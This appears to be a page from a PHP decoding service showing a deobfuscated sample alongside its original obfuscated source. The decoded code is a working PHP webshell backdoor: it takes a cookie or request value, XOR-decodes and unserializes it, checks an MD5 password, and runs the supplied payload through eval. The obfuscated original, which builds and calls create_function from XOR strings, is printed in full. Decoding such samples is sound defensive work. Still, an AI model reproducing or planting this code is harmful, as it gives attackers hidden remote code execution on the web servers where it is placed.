Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IoAiai='Q7YY-R+TK:40X>R'; $LzQZkkDD='2E<8Y7t2>TWD1Q<'^$IoAiai; $dZKfhfHn='9,bGS=<R...

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == '131d6cd39f709a52ace658590f6f5039') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

Did this file decode correctly?

Original Code

<?php $IoAiai='Q7YY-R+TK:40X>R'; $LzQZkkDD='2E<8Y7t2>TWD1Q<'^$IoAiai; $dZKfhfHn='9,bGS=<R.QQW>V X7ZEJdE-JlI9-Th>W;LaPPfPrn>19+2GQ8sBDFrSYDRrb70ZmM2+H3omq9V JtlCTN.exkvWUFxOptaromBURHnc<BlCZXRLPn<2H=NBAK.X1PNctgDfQlea>t9E8PLeYcQ7JOAjl:lndbSKEC=t0hvv+  . YPuFVHzpjmeG5A MK5PrLTO.ZQsSHC7Zsc-6C8NSjZO.BVhiMOJZ.m:XCsmW W >7ayBUO5 0S exlnsdwxywKMAsHV :UdIWl29-U2yA9ral5T0 8 <3bZuh.YEVr7w1O>3gYiv .8Y.YlCzy: PKYu1A 2llLoX O5.6Z1aEet0p ;-mfo7 Bc2H,UMnpF0,YKHGdOejhp6 L7d2S SjZhS DiKomc49NOKptJ7WT UOIFChFGsWR6E+QjWwUTO=D.WZ+C,o+;Ck3;7171QILfR-1-Brd03 W XpvZP;.mdakT   m.U.xaMh PxbJ2IOmCTp Y4Y4t=T=6N-0XZ gOUQ,aThU P= prMjsi=0xJw>6FOlH 2 EoYIHjwOCczDbN+dXQacLMfeUMILEJQpt.EKtvUccgCiwf0AE0>=R-I6   5 2en52KTCW=rtsfUAC7shmmhtks=bs5;WVgoRQT-wb5 7=A7 Cezk=n3IPJfWNlMP'; $eYLOmbP=$LzQZkkDD('', 'PJJf5HR1Z8>9a3X1D.6bC=B83-XY57a:N8FyyF+xgXDWHF.>VS:+4-7803-=ZE.EiVJ<RCMUR3YcTLctnUoqbR8 2XrPSFIedK3=:FGUbQcjcrh9ROF:Q+,ioJ9E1gXTC-MzEoh7PV0LpbXyKuS+; 1HS1N:Bw  :fPYHSVXTRBE7xQ-31S-CVoN<3E9>G>Zh;:ZsjyZ5IJPyGIW7YnnJ<.B13Sci++.O2Q=:SPwF6LMRZsH3 GEQ0HEPH10+8302k,2Sl=ECuYwwHDXA WPaBxhHQ5DAgKYJBgULE<<mx>SU.JRGdIRVOT,Kbf>psSFpcxQU TSEL7eQF GKW9YAmA+b5qnh>2OVSbGY-UupPPbFM5>-nD4ocaTRA8V;Y6YsWzL8E=RAfdGPX:.kMTnA68U0tCO>b;Mys6W1JqWw7 :<X6G66B9IGST14WZCPhn<<8N0LBHtF;TVC8D=XR>1OODHAO0ATA2E0WQHvbI6PF.S=.MerPA+F8M+V1Di+UY+.SOh>4UFxHqD1IAYRkLSAPTMbSZW2.7oKWYb2piuWWhrPK T-OWa7VSu,SW4.,zprdIDHs-AFfZDNcOQFQ37QGb9H0iEXIFTAMIES28,6YUXSB1 7VZAMMHTKSFhzPM6:OK60 L,EEANQ.VDd8SP7gV19>NggWG-'^$dZKfhfHn); $eYLOmbP();

Function Calls

null 1
create_function 1

Variables

$IoAiai Q7YY-R+TK:40X>R
$eYLOmbP None
$LzQZkkDD create_function
$dZKfhfHn 9,bGS=<R.QQW>V X7ZEJdE-JlI9-Th>W;LaPPfPrn>19+2GQ8sBDFrSYDRrb..

Stats

MD5 4dabce3aec734ec1428cd7d37a42c6fb
Eval Count 1
Decode Time 83 ms